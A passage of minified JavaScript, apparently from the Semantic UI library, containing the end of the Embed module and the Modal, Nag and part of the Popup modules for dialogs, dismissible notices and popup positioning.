f[t];f[t]=n}},debug:function(){!m.silent&&m.debug&&(m.performance?f.performance.log(arguments):(f.debug=Function.prototype.bind.call(console.info,console,m.name+":"),f.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?f.performance.log(arguments):(f.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),f.verbose.apply(console,arguments)))},error:function(){m.silent||(f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:R,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,500)},display:function(){var t=m.name+":",n=0;s=!1,clearTimeout(f.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),a.length>1&&(t+=" ("+a.length+")"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=P;return n=n||d,a=R||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(f.error(v.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},u?(P===i&&f.initialize(),f.invoke(c)):(P!==i&&P.invoke("destroy"),f.initialize())}),o!==i?o:this},e.fn.embed.settings={name:"Embed",namespace:"embed",silent:!1,debug:!1,verbose:!1,performance:!0,icon:!1,source:!1,url:!1,id:!1,autoplay:"auto",color:"#444444",hd:!0,brandedUI:!1,parameters:!1,onDisplay:function(){},onPlaceholderDisplay:function(){},onReset:function(){},onCreate:function(e){},onEmbed:function(e){return e},metadata:{id:"id",icon:"icon",placeholder:"placeholder",source:"source",url:"url"},error:{noURL:"No URL specified",method:"The method you called is not defined"},className:{active:"active",embed:"embed"},selector:{embed:".embed",placeholder:".placeholder",icon:".icon"},sources:{youtube:{name:"youtube",type:"video",icon:"video play",domain:"youtube.com",url:"//www.youtube.com/embed/{id}",parameters:function(e){return{autohide:!e.brandedUI,autoplay:e.autoplay,color:e.color||i,hq:e.hd,jsapi:e.api,modestbranding:!e.brandedUI}}},vimeo:{name:"vimeo",type:"video",icon:"video play",domain:"vimeo.com",url:"//player.vimeo.com/video/{id}",parameters:function(e){return{api:e.api,autoplay:e.autoplay,byline:e.brandedUI,color:e.color||i,portrait:e.brandedUI,title:e.brandedUI}}}},templates:{iframe:function(e,t){var n=e;return t&&(n+="?"+t),'<iframe src="'+n+'" width="100%" height="100%" frameborder="0" scrolling="no" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>'},placeholder:function(e,t){var n="";return t&&(n+='<i class="'+t+' icon"></i>'),e&&(n+='<img class="placeholder" src="'+e+'">'),n}},api:!1,onPause:function(){},onPlay:function(){},onStop:function(){}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.modal=function(o){var a,r=e(this),s=e(t),l=e(n),c=e("body"),u=r.selector||"",d=(new Date).getTime(),f=[],m=arguments[0],g="string"==typeof m,p=[].slice.call(arguments,1),h=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return r.each(function(){var r,v,b,y,x,C,w,k,S,T=e.isPlainObject(o)?e.extend(!0,{},e.fn.modal.settings,o):e.extend({},e.fn.modal.settings),A=T.selector,R=T.className,P=T.namespace,E=T.error,F="."+P,O="module-"+P,D=e(this),q=e(T.context),j=D.find(A.close),z=this,M=D.data(O);S={initialize:function(){S.verbose("Initializing dimmer",q),S.create.id(),S.create.dimmer(),S.refreshModals(),S.bind.events(),T.observeChanges&&S.observeChanges(),S.instantiate()},instantiate:function(){S.verbose("Storing instance of modal"),M=S,D.data(O,M)},create:{dimmer:function(){var t={debug:T.debug,dimmerName:"modals",duration:{show:T.duration,hide:T.duration}},n=e.extend(!0,t,T.dimmerSettings);return T.inverted&&(n.variation=n.variation!==i?n.variation+" inverted":"inverted"),e.fn.dimmer===i?void S.error(E.dimmer):(S.debug("Creating dimmer with settings",n),y=q.dimmer(n),T.detachable?(S.verbose("Modal is detachable, moving content into dimmer"),y.dimmer("add content",D)):S.set.undetached(),T.blurring&&y.addClass(R.blurring),void(x=y.dimmer("get dimmer")))},id:function(){w=(Math.random().toString(16)+"000000000").substr(2,8),C="."+w,S.verbose("Creating unique id for element",w)}},destroy:function(){S.verbose("Destroying previous modal"),D.removeData(O).off(F),s.off(C),x.off(C),j.off(F),q.dimmer("destroy")},observeChanges:function(){"MutationObserver"in t&&(k=new MutationObserver(function(e){S.debug("DOM tree modified, refreshing"),S.refresh()}),k.observe(z,{childList:!0,subtree:!0}),S.debug("Setting up mutation observer",k))},refresh:function(){S.remove.scrolling(),S.cacheSizes(),S.set.screenHeight(),S.set.type(),S.set.position()},refreshModals:function(){v=D.siblings(A.modal),r=v.add(D)},attachEvents:function(t,n){var i=e(t);n=e.isFunction(S[n])?S[n]:S.toggle,i.length>0?(S.debug("Attaching modal events to element",t,n),i.off(F).on("click"+F,n)):S.error(E.notFound,t)},bind:{events:function(){S.verbose("Attaching events"),D.on("click"+F,A.close,S.event.close).on("click"+F,A.approve,S.event.approve).on("click"+F,A.deny,S.event.deny),s.on("resize"+C,S.event.resize)}},get:{id:function(){return(Math.random().toString(16)+"000000000").substr(2,8)}},event:{approve:function(){return T.onApprove.call(z,e(this))===!1?void S.verbose("Approve callback returned false cancelling hide"):void S.hide()},deny:function(){return T.onDeny.call(z,e(this))===!1?void S.verbose("Deny callback returned false cancelling hide"):void S.hide()},close:function(){S.hide()},click:function(t){var i=e(t.target),o=i.closest(A.modal).length>0,a=e.contains(n.documentElement,t.target);!o&&a&&(S.debug("Dimmer clicked, hiding all modals"),S.is.active()&&(S.remove.clickaway(),T.allowMultiple?S.hide():S.hideAll()))},debounce:function(e,t){clearTimeout(S.timer),S.timer=setTimeout(e,t)},keyboard:function(e){var t=e.which,n=27;t==n&&(T.closable?(S.debug("Escape key pressed hiding modal"),S.hide()):S.debug("Escape key pressed, but closable is set to false"),e.preventDefault())},resize:function(){y.dimmer("is active")&&h(S.refresh)}},toggle:function(){S.is.active()||S.is.animating()?S.hide():S.show()},show:function(t){t=e.isFunction(t)?t:function(){},S.refreshModals(),S.showModal(t)},hide:function(t){t=e.isFunction(t)?t:function(){},S.refreshModals(),S.hideModal(t)},showModal:function(t){t=e.isFunction(t)?t:function(){},S.is.animating()||!S.is.active()?(S.showDimmer(),S.cacheSizes(),S.set.position(),S.set.screenHeight(),S.set.type(),S.set.clickaway(),!T.allowMultiple&&S.others.active()?S.hideOthers(S.showModal):(T.onShow.call(z),T.transition&&e.fn.transition!==i&&D.transition("is supported")?(S.debug("Showing modal with css animations"),D.transition({debug:T.debug,animation:T.transition+" in",queue:T.queue,duration:T.duration,useFailSafe:!0,onComplete:function(){T.onVisible.apply(z),T.keyboardShortcuts&&S.add.keyboardShortcuts(),S.save.focus(),S.set.active(),T.autofocus&&S.set.autofocus(),t()}})):S.error(E.noTransition))):S.debug("Modal is already visible")},hideModal:function(t,n){return t=e.isFunction(t)?t:function(){},S.debug("Hiding modal"),T.onHide.call(z,e(this))===!1?void S.verbose("Hide callback returned false cancelling hide"):void((S.is.animating()||S.is.active())&&(T.transition&&e.fn.transition!==i&&D.transition("is supported")?(S.remove.active(),D.transition({debug:T.debug,animation:T.transition+" out",queue:T.queue,duration:T.duration,useFailSafe:!0,onStart:function(){S.others.active()||n||S.hideDimmer(),T.keyboardShortcuts&&S.remove.keyboardShortcuts()},onComplete:function(){T.onHidden.call(z),S.restore.focus(),t()}})):S.error(E.noTransition)))},showDimmer:function(){y.dimmer("is animating")||!y.dimmer("is active")?(S.debug("Showing dimmer"),y.dimmer("show")):S.debug("Dimmer already visible")},hideDimmer:function(){return y.dimmer("is animating")||y.dimmer("is active")?void y.dimmer("hide",function(){S.remove.clickaway(),S.remove.screenHeight()}):void S.debug("Dimmer is not visible cannot hide")},hideAll:function(t){var n=r.filter("."+R.active+", ."+R.animating);t=e.isFunction(t)?t:function(){},n.length>0&&(S.debug("Hiding all visible modals"),S.hideDimmer(),n.modal("hide modal",t))},hideOthers:function(t){var n=v.filter("."+R.active+", ."+R.animating);t=e.isFunction(t)?t:function(){},n.length>0&&(S.debug("Hiding other modals",v),n.modal("hide modal",t,!0))},others:{active:function(){return v.filter("."+R.active).length>0},animating:function(){return v.filter("."+R.animating).length>0}},add:{keyboardShortcuts:function(){S.verbose("Adding keyboard shortcuts"),l.on("keyup"+F,S.event.keyboard)}},save:{focus:function(){b=e(n.activeElement).blur()}},restore:{focus:function(){b&&b.length>0&&b.focus()}},remove:{active:function(){D.removeClass(R.active)},clickaway:function(){T.closable&&x.off("click"+C)},bodyStyle:function(){""===c.attr("style")&&(S.verbose("Removing style attribute"),c.removeAttr("style"))},screenHeight:function(){S.debug("Removing page height"),c.css("height","")},keyboardShortcuts:function(){S.verbose("Removing keyboard shortcuts"),l.off("keyup"+F)},scrolling:function(){y.removeClass(R.scrolling),D.removeClass(R.scrolling)}},cacheSizes:function(){var o=D.outerHeight();S.cache!==i&&0===o||(S.cache={pageHeight:e(n).outerHeight(),height:o+T.offset,contextHeight:"body"==T.context?e(t).height():y.height()}),S.debug("Caching modal and container sizes",S.cache)},can:{fit:function(){return S.cache.height+2*T.padding<S.cache.contextHeight}},is:{active:function(){return D.hasClass(R.active)},animating:function(){return D.transition("is supported")?D.transition("is animating"):D.is(":visible")},scrolling:function(){return y.hasClass(R.scrolling)},modernBrowser:function(){return!(t.ActiveXObject||"ActiveXObject"in t)}},set:{autofocus:function(){var e=D.find("[tabindex], :input").filter(":visible"),t=e.filter("[autofocus]"),n=t.length>0?t.first():e.first();n.length>0&&n.focus()},clickaway:function(){T.closable&&x.on("click"+C,S.event.click)},screenHeight:function(){S.can.fit()?c.css("height",""):(S.debug("Modal is taller than page content, resizing page height"),c.css("height",S.cache.height+2*T.padding))},active:function(){D.addClass(R.active)},scrolling:function(){y.addClass(R.scrolling),D.addClass(R.scrolling)},type:function(){S.can.fit()?(S.verbose("Modal fits on screen"),S.others.active()||S.others.animating()||S.remove.scrolling()):(S.verbose("Modal cannot fit on screen setting to scrolling"),S.set.scrolling())},position:function(){S.verbose("Centering modal on page",S.cache),S.can.fit()?D.css({top:"",marginTop:-(S.cache.height/2)}):D.css({marginTop:"",top:l.scrollTop()})},undetached:function(){y.addClass(R.undetached)}},setting:function(t,n){if(S.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,T,t);else{if(n===i)return T[t];e.isPlainObject(T[t])?e.extend(!0,T[t],n):T[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,S,t);else{if(n===i)return S[t];S[t]=n}},debug:function(){!T.silent&&T.debug&&(T.performance?S.performance.log(arguments):(S.debug=Function.prototype.bind.call(console.info,console,T.name+":"),S.debug.apply(console,arguments)))},verbose:function(){!T.silent&&T.verbose&&T.debug&&(T.performance?S.performance.log(arguments):(S.verbose=Function.prototype.bind.call(console.info,console,T.name+":"),S.verbose.apply(console,arguments)))},error:function(){T.silent||(S.error=Function.prototype.bind.call(console.error,console,T.name+":"),S.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;T.performance&&(t=(new Date).getTime(),i=d||t,n=t-i,d=t,f.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:z,"Execution Time":n})),clearTimeout(S.performance.timer),S.performance.timer=setTimeout(S.performance.display,500)},display:function(){var t=T.name+":",n=0;d=!1,clearTimeout(S.performance.timer),e.each(f,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",u&&(t+=" '"+u+"'"),(console.group!==i||console.table!==i)&&f.length>0&&(console.groupCollapsed(t),console.table?console.table(f):e.each(f,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),f=[]}},invoke:function(t,n,o){var r,s,l,c=M;return n=n||p,o=z||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},g?(M===i&&S.initialize(),S.invoke(m)):(M!==i&&M.invoke("destroy"),S.initialize())}),a!==i?a:this},e.fn.modal.settings={name:"Modal",namespace:"modal",silent:!1,debug:!1,verbose:!1,performance:!0,observeChanges:!1,allowMultiple:!1,detachable:!0,closable:!0,autofocus:!0,inverted:!1,blurring:!1,dimmerSettings:{closable:!1,useCSS:!0},keyboardShortcuts:!0,context:"body",queue:!1,duration:500,offset:0,transition:"scale",padding:50,onShow:function(){},onVisible:function(){},onHide:function(){return!0},onHidden:function(){},onApprove:function(){return!0},onDeny:function(){return!0},selector:{close:"> .close",approve:".actions .positive, .actions .approve, .actions .ok",deny:".actions .negative, .actions .deny, .actions .cancel",modal:".ui.modal"},error:{dimmer:"UI Dimmer, a required component is not included in this page",method:"The method you called is not defined.",notFound:"The element you specified could not be found"},className:{active:"active",animating:"animating",blurring:"blurring",scrolling:"scrolling",undetached:"undetached"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.nag=function(n){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var a,f=e.isPlainObject(n)?e.extend(!0,{},e.fn.nag.settings,n):e.extend({},e.fn.nag.settings),m=(f.className,f.selector),g=f.error,p=f.namespace,h="."+p,v=p+"-module",b=e(this),y=(b.find(m.close),e(f.context?f.context:"body")),x=this,C=b.data(v);t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};a={initialize:function(){a.verbose("Initializing element"),b.on("click"+h,m.close,a.dismiss).data(v,a),f.detachable&&b.parent()[0]!==y[0]&&b.detach().prependTo(y),f.displayTime>0&&setTimeout(a.hide,f.displayTime),a.show()},destroy:function(){a.verbose("Destroying instance"),b.removeData(v).off(h)},show:function(){a.should.show()&&!b.is(":visible")&&(a.debug("Showing nag",f.animation.show),"fade"==f.animation.show?b.fadeIn(f.duration,f.easing):b.slideDown(f.duration,f.easing))},hide:function(){a.debug("Showing nag",f.animation.hide),"fade"==f.animation.show?b.fadeIn(f.duration,f.easing):b.slideUp(f.duration,f.easing)},onHide:function(){a.debug("Removing nag",f.animation.hide),b.remove(),f.onHide&&f.onHide()},dismiss:function(e){f.storageMethod&&a.storage.set(f.key,f.value),a.hide(),e.stopImmediatePropagation(),e.preventDefault()},should:{show:function(){return f.persist?(a.debug("Persistent nag is set, can show nag"),!0):a.storage.get(f.key)!=f.value.toString()?(a.debug("Stored value is not set, can show nag",a.storage.get(f.key)),!0):(a.debug("Stored value is set, cannot show nag",a.storage.get(f.key)),!1)}},get:{storageOptions:function(){var e={};return f.expires&&(e.expires=f.expires),f.domain&&(e.domain=f.domain),f.path&&(e.path=f.path),e}},clear:function(){a.storage.remove(f.key)},storage:{set:function(n,o){var r=a.get.storageOptions();if("localstorage"==f.storageMethod&&t.localStorage!==i)t.localStorage.setItem(n,o),a.debug("Value stored using local storage",n,o);else if("sessionstorage"==f.storageMethod&&t.sessionStorage!==i)t.sessionStorage.setItem(n,o),a.debug("Value stored using session storage",n,o);else{if(e.cookie===i)return void a.error(g.noCookieStorage);e.cookie(n,o,r),a.debug("Value stored using cookie",n,o,r)}},get:function(n,o){var r;return"localstorage"==f.storageMethod&&t.localStorage!==i?r=t.localStorage.getItem(n):"sessionstorage"==f.storageMethod&&t.sessionStorage!==i?r=t.sessionStorage.getItem(n):e.cookie!==i?r=e.cookie(n):a.error(g.noCookieStorage),"undefined"!=r&&"null"!=r&&r!==i&&null!==r||(r=i),r},remove:function(n){var o=a.get.storageOptions();"localstorage"==f.storageMethod&&t.localStorage!==i?t.localStorage.removeItem(n):"sessionstorage"==f.storageMethod&&t.sessionStorage!==i?t.sessionStorage.removeItem(n):e.cookie!==i?e.removeCookie(n,o):a.error(g.noStorage)}},setting:function(t,n){if(a.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];e.isPlainObject(f[t])?e.extend(!0,f[t],n):f[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,a,t);else{if(n===i)return a[t];a[t]=n}},debug:function(){!f.silent&&f.debug&&(f.performance?a.performance.log(arguments):(a.debug=Function.prototype.bind.call(console.info,console,f.name+":"),a.debug.apply(console,arguments)))},verbose:function(){!f.silent&&f.verbose&&f.debug&&(f.performance?a.performance.log(arguments):(a.verbose=Function.prototype.bind.call(console.info,console,f.name+":"),a.verbose.apply(console,arguments)))},error:function(){f.silent||(a.error=Function.prototype.bind.call(console.error,console,f.name+":"),a.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;f.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:x,"Execution Time":n})),clearTimeout(a.performance.timer),a.performance.timer=setTimeout(a.performance.display,500)},display:function(){var t=f.name+":",n=0;s=!1,clearTimeout(a.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,r){var s,l,c,u=C;return n=n||d,r=x||r,"string"==typeof t&&u!==i&&(t=t.split(/[\. ]/),s=t.length-1,e.each(t,function(n,o){var r=n!=s?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(u[r])&&n!=s)u=u[r];else{if(u[r]!==i)return l=u[r],!1;if(!e.isPlainObject(u[o])||n==s)return u[o]!==i?(l=u[o],!1):(a.error(g.method,t),!1);u=u[o]}})),e.isFunction(l)?c=l.apply(r,n):l!==i&&(c=l),e.isArray(o)?o.push(c):o!==i?o=[o,c]:c!==i&&(o=c),l}},u?(C===i&&a.initialize(),a.invoke(c)):(C!==i&&C.invoke("destroy"),a.initialize())}),o!==i?o:this},e.fn.nag.settings={name:"Nag",silent:!1,debug:!1,verbose:!1,performance:!0,namespace:"Nag",persist:!1,displayTime:0,animation:{show:"slide",hide:"slide"},context:!1,detachable:!1,expires:30,domain:!1,path:"/",storageMethod:"cookie",key:"nag",value:"dismiss",error:{noCookieStorage:"$.cookie is not included. A storage solution is required.",noStorage:"Neither $.cookie or store is defined. A storage solution is required for storing state",method:"The method you called is not defined."},className:{bottom:"bottom",fixed:"fixed"},selector:{close:".close.icon"},speed:500,easing:"easeOutQuad",onHide:function(){}},e.extend(e.easing,{easeOutQuad:function(e,t,n,i,o){return-i*(t/=o)*(t-2)+n}})}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.popup=function(o){var a,r=e(this),s=e(n),l=e(t),c=e("body"),u=r.selector||"",d=!0,f=(new Date).getTime(),m=[],g=arguments[0],p="string"==typeof g,h=[].slice.call(arguments,1);return r.each(function(){var r,v,b,y,x,C,w=e.isPlainObject(o)?e.extend(!0,{},e.fn.popup.settings,o):e.extend({},e.fn.popup.settings),k=w.selector,S=w.className,T=w.error,A=w.metadata,R=w.namespace,P="."+w.namespace,E="module-"+R,F=e(this),O=e(w.context),D=e(w.scrollContext),q=e(w.boundary),j=w.target?e(w.target):F,z=0,M=!1,I=!1,L=this,N=F.data(E);C={initialize:function(){C.debug("Initializing",F),C.createID(),C.bind.events(),!C.exists()&&w.preserve&&C.create(),w.observeChanges&&C.observeChanges(),C.instantiate()},instantiate:function(){C.verbose("Storing instance",C),N=C,F.data(E,N)},observeChanges:function(){"MutationObserver"in t&&(b=new MutationObserver(C.event.documentChanged),b.observe(n,{childList:!0,subtree:!0}),C.debug("Setting up mutation observer",b))},refresh:function(){w.popup?r=e(w.popup).eq(0):w.inline&&(r=j.nextAll(k.popup).eq(0),w.popup=r),w.popup?(r.addClass(S.loading),v=C.get.offsetParent(),r.removeClass(S.loading),w.movePopup&&C.has.popup()&&C.get.offsetParent(r)[0]!==v[0]&&(C.debug("Moving popup to the same offset parent as activating element"),r.detach().appendTo(v))):v=w.inline?C.get.offsetParent(j):C.has.popup()?C.get.offsetParent(r):c,v.is("html")&&v[0]!==c[0]&&(C.debug("Setting page as offset parent"),v=c),C.get.variation()&&C.set.variation()},reposition:function(){C.refresh(),C.set.position()},destroy:function(){C.debug("Destroying previous module"),b&&b.disconnect(),r&&!w.preserve&&C.removePopup(),clearTimeout(C.hideTimer),clearTimeout(C.showTimer),C.unbind.close(),C.unbind.events(),F.removeData(E)},event:{start:function(t){var n=e.isPlainObject(w.delay)?w.delay.show:w.delay;clearTimeout(C.hideTimer),I||(C.showTimer=setTimeout(C.show,n))},end:function(){var t=e.isPlainObject(w.delay)?w.delay.hide:w.delay;clearTimeout(C.showTimer),C.hideTimer=setTimeout(C.hide,t)},touchstart:function(e){I=!0,C.show()},resize:function(){C.is.visible()&&C.set.position()},documentChanged:function(t){[].forEach.call(t,function(t){t.removedNodes&&[].forEach.call(t.removedNodes,function(t){(t==L||e(t).find(L).length>0)&&(C.debug("Element removed from DOM, tearing down events"),C.destroy())})})},hideGracefully:function(t){var i=e(t.target),o=e.contains(n.documentElement,t.target),a=i.closest(k.popup).length>0;t&&!a&&o?(C.debug("Click occurred outside popup hiding popup"),C.hide()):C.debug("Click was inside popup, keeping popup open")}},create:function(){var t=C.get.html(),n=C.get.title(),i=C.get.content();t||i||n?(C.debug("Creating pop-up html"),t||(t=w.templates.popup({title:n,content:i})),r=e("<div/>").addClass(S.popup).data(A.activator,F).html(t),w.inline?(C.verbose("Inserting popup element inline",r),r.insertAfter(F)):(C.verbose("Appending popup element to body",r),r.appendTo(O)),C.refresh(),C.set.variation(),w.hoverable&&C.bind.popup(),w.onCreate.call(r,L)):0!==j.next(k.popup).length?(C.verbose("Pre-existing popup found"),w.inline=!0,w.popup=j.next(k.popup).data(A.activator,F),C.refresh(),w.hoverable&&C.bind.popup()):w.popup?(e(w.popup).data(A.activator,F),C.verbose("Used popup specified in settings"),C.refresh(),w.hoverable&&C.bind.popup()):C.debug("No content specified skipping display",L)},createID:function(){x=(Math.random().toString(16)+"000000000").substr(2,8),y="."+x,C.verbose("Creating unique id for element",x)},toggle:function(){C.debug("Toggling pop-up"),C.is.hidden()?(C.debug("Popup is hidden, showing pop-up"),C.unbind.close(),C.show()):(C.debug("Popup is visible, hiding pop-up"),
C.hide())},show:function(e){if(e=e||function(){},C.debug("Showing pop-up",w.transition),C.is.hidden()&&(!C.is.active()||!C.is.dropdown())){if(C.exists()||C.create(),w.onShow.call(r,L)===!1)return void C.debug("onShow callback returned false, cancelling popup animation");w.preserve||w.popup||C.refresh(),r&&C.set.position()&&(C.save.conditions(),w.exclusive&&C.hideAll(),C.animate.show(e))}},hide:function(e){if(e=e||function(){},C.is.visible()||C.is.animating()){if(w.onHide.call(r,L)===!1)return void C.debug("onHide callback returned false, cancelling popup animation");C.remove.visible(),C.unbind.close(),C.restore.conditions(),C.animate.hide(e)}},hideAll:function(){e(k.popup).filter("."+S.visible).each(function(){e(this).data(A.activator).popup("hide")})},exists:function(){return!!r&&(w.inline||w.popup?C.has.popup():r.closest(O).length>=1)},removePopup:function(){C.has.popup()&&!w.popup&&(C.debug("Removing popup",r),r.remove(),r=i,w.onRemove.call(r,L))},save:{conditions:function(){C.cache={title:F.attr("title")},C.cache.title&&F.removeAttr("title"),C.verbose("Saving original attributes",C.cache.title)}},restore:{conditions:function(){return C.cache&&C.cache.title&&(F.attr("title",C.cache.title),C.verbose("Restoring original attributes",C.cache.title)),!0}},supports:{svg:function(){return typeof SVGGraphicsElement===i}},animate:{show:function(t){t=e.isFunction(t)?t:function(){},w.transition&&e.fn.transition!==i&&F.transition("is supported")?(C.set.visible(),r.transition({animation:w.transition+" in",queue:!1,debug:w.debug,verbose:w.verbose,duration:w.duration,onComplete:function(){C.bind.close(),t.call(r,L),w.onVisible.call(r,L)}})):C.error(T.noTransition)},hide:function(t){return t=e.isFunction(t)?t:function(){},C.debug("Hiding pop-up"),w.onHide.call(r,L)===!1?void C.debug("onHide callback returned false, cancelling popup animation"):void(w.transition&&e.fn.transition!==i&&F.transition("is supported")?r.transition({animation:w.transition+" out",queue:!1,duration:w.duration,debug:w.debug,verbose:w.verbose,onComplete:function(){C.reset(),t.call(r,L),w.onHidden.call(r,L)}}):C.error(T.noTransition))}},change:{content:function(e){r.html(e)}},get:{html:function(){return F.removeData(A.html),F.data(A.html)||w.html},title:function(){return F.removeData(A.title),F.data(A.title)||w.title},content:function(){return F.removeData(A.content),F.data(A.content)||F.attr("title")||w.content},variation:function(){return F.removeData(A.variation),F.data(A.variation)||w.variation},popup:function(){return r},popupOffset:function(){return r.offset()},calculations:function(){var e,n=j[0],i=q[0]==t,o=w.inline||w.popup&&w.movePopup?j.position():j.offset(),a=i?{top:0,left:0}:q.offset(),s={},c=i?{top:l.scrollTop(),left:l.scrollLeft()}:{top:0,left:0};return s={target:{element:j[0],width:j.outerWidth(),height:j.outerHeight(),top:o.top,left:o.left,margin:{}},popup:{width:r.outerWidth(),height:r.outerHeight()},parent:{width:v.outerWidth(),height:v.outerHeight()},screen:{top:a.top,left:a.left,scroll:{top:c.top,left:c.left},width:q.width(),height:q.height()}},w.setFluidWidth&&C.is.fluid()&&(s.container={width:r.parent().outerWidth()},s.popup.width=s.container.width),s.target.margin.top=w.inline?parseInt(t.getComputedStyle(n).getPropertyValue("margin-top"),10):0,s.target.margin.left=w.inline?C.is.rtl()?parseInt(t.getComputedStyle(n).getPropertyValue("margin-right"),10):parseInt(t.getComputedStyle(n).getPropertyValue("margin-left"),10):0,e=s.screen,s.boundary={top:e.top+e.scroll.top,bottom:e.top+e.scroll.top+e.height,left:e.left+e.scroll.left,right:e.left+e.scroll.left+e.width},s},id:function(){return x},startEvent:function(){return"hover"==w.on?"mouseenter":"focus"==w.on&&"focus"},scrollEvent:function(){return"scroll"},endEvent:function(){return"hover"==w.on?"mouseleave":"focus"==w.on&&"blur"},distanceFromBoundary:function(e,t){var n,i,o={};return t=t||C.get.calculations(),n=t.popup,i=t.boundary,e&&(o={top:e.top-i.top,left:e.left-i.left,right:i.right-(e.left+n.width),bottom:i.bottom-(e.top+n.height)},C.verbose("Distance from boundaries determined",e,o)),o},offsetParent:function(t){var n=t!==i?t[0]:F[0],o=n.parentNode,a=e(o);if(o)for(var r="none"===a.css("transform"),s="static"===a.css("position"),l=a.is("html");o&&!l&&s&&r;)o=o.parentNode,a=e(o),r="none"===a.css("transform"),s="static"===a.css("position"),l=a.is("html");return a&&a.length>0?a:e()},positions:function(){return{"top left":!1,"top center":!1,"top right":!1,"bottom left":!1,"bottom center":!1,"bottom right":!1,"left center":!1,"right center":!1}},nextPosition:function(e){var t=e.split(" "),n=t[0],i=t[1],o={top:"bottom",bottom:"top",left:"right",right:"left"},a={left:"center",center:"right",right:"left"},r={"top left":"top center","top center":"top right","top right":"right center","right center":"bottom right","bottom right":"bottom center","bottom center":"bottom left","bottom left":"left center","left center":"top left"},s="top"==n||"bottom"==n,l=!1,c=!1,u=!1;return M||(C.verbose("All available positions available"),M=C.get.positions()),C.debug("Recording last position tried",e),M[e]=!0,"opposite"===w.prefer&&(u=[o[n],i],u=u.join(" "),l=M[u]===!0,C.debug("Trying opposite strategy",u)),"adjacent"===w.prefer&&s&&(u=[n,a[i]],u=u.join(" "),c=M[u]===!0,C.debug("Trying adjacent strategy",u)),(c||l)&&(C.debug("Using backup position",u),u=r[e]),u}},set:{position:function(e,t){if(0===j.length||0===r.length)return void C.error(T.notFound);var n,o,a,s,l,c,u,d;if(t=t||C.get.calculations(),e=e||F.data(A.position)||w.position,n=F.data(A.offset)||w.offset,o=w.distanceAway,a=t.target,s=t.popup,l=t.parent,0===a.width&&0===a.height&&!C.is.svg(a.element))return C.debug("Popup target is hidden, no action taken"),!1;switch(w.inline&&(C.debug("Adding margin to calculation",a.margin),"left center"==e||"right center"==e?(n+=a.margin.top,o+=-a.margin.left):"top left"==e||"top center"==e||"top right"==e?(n+=a.margin.left,o-=a.margin.top):(n+=a.margin.left,o+=a.margin.top)),C.debug("Determining popup position from calculations",e,t),C.is.rtl()&&(e=e.replace(/left|right/g,function(e){return"left"==e?"right":"left"}),C.debug("RTL: Popup position updated",e)),z==w.maxSearchDepth&&"string"==typeof w.lastResort&&(e=w.lastResort),e){case"top 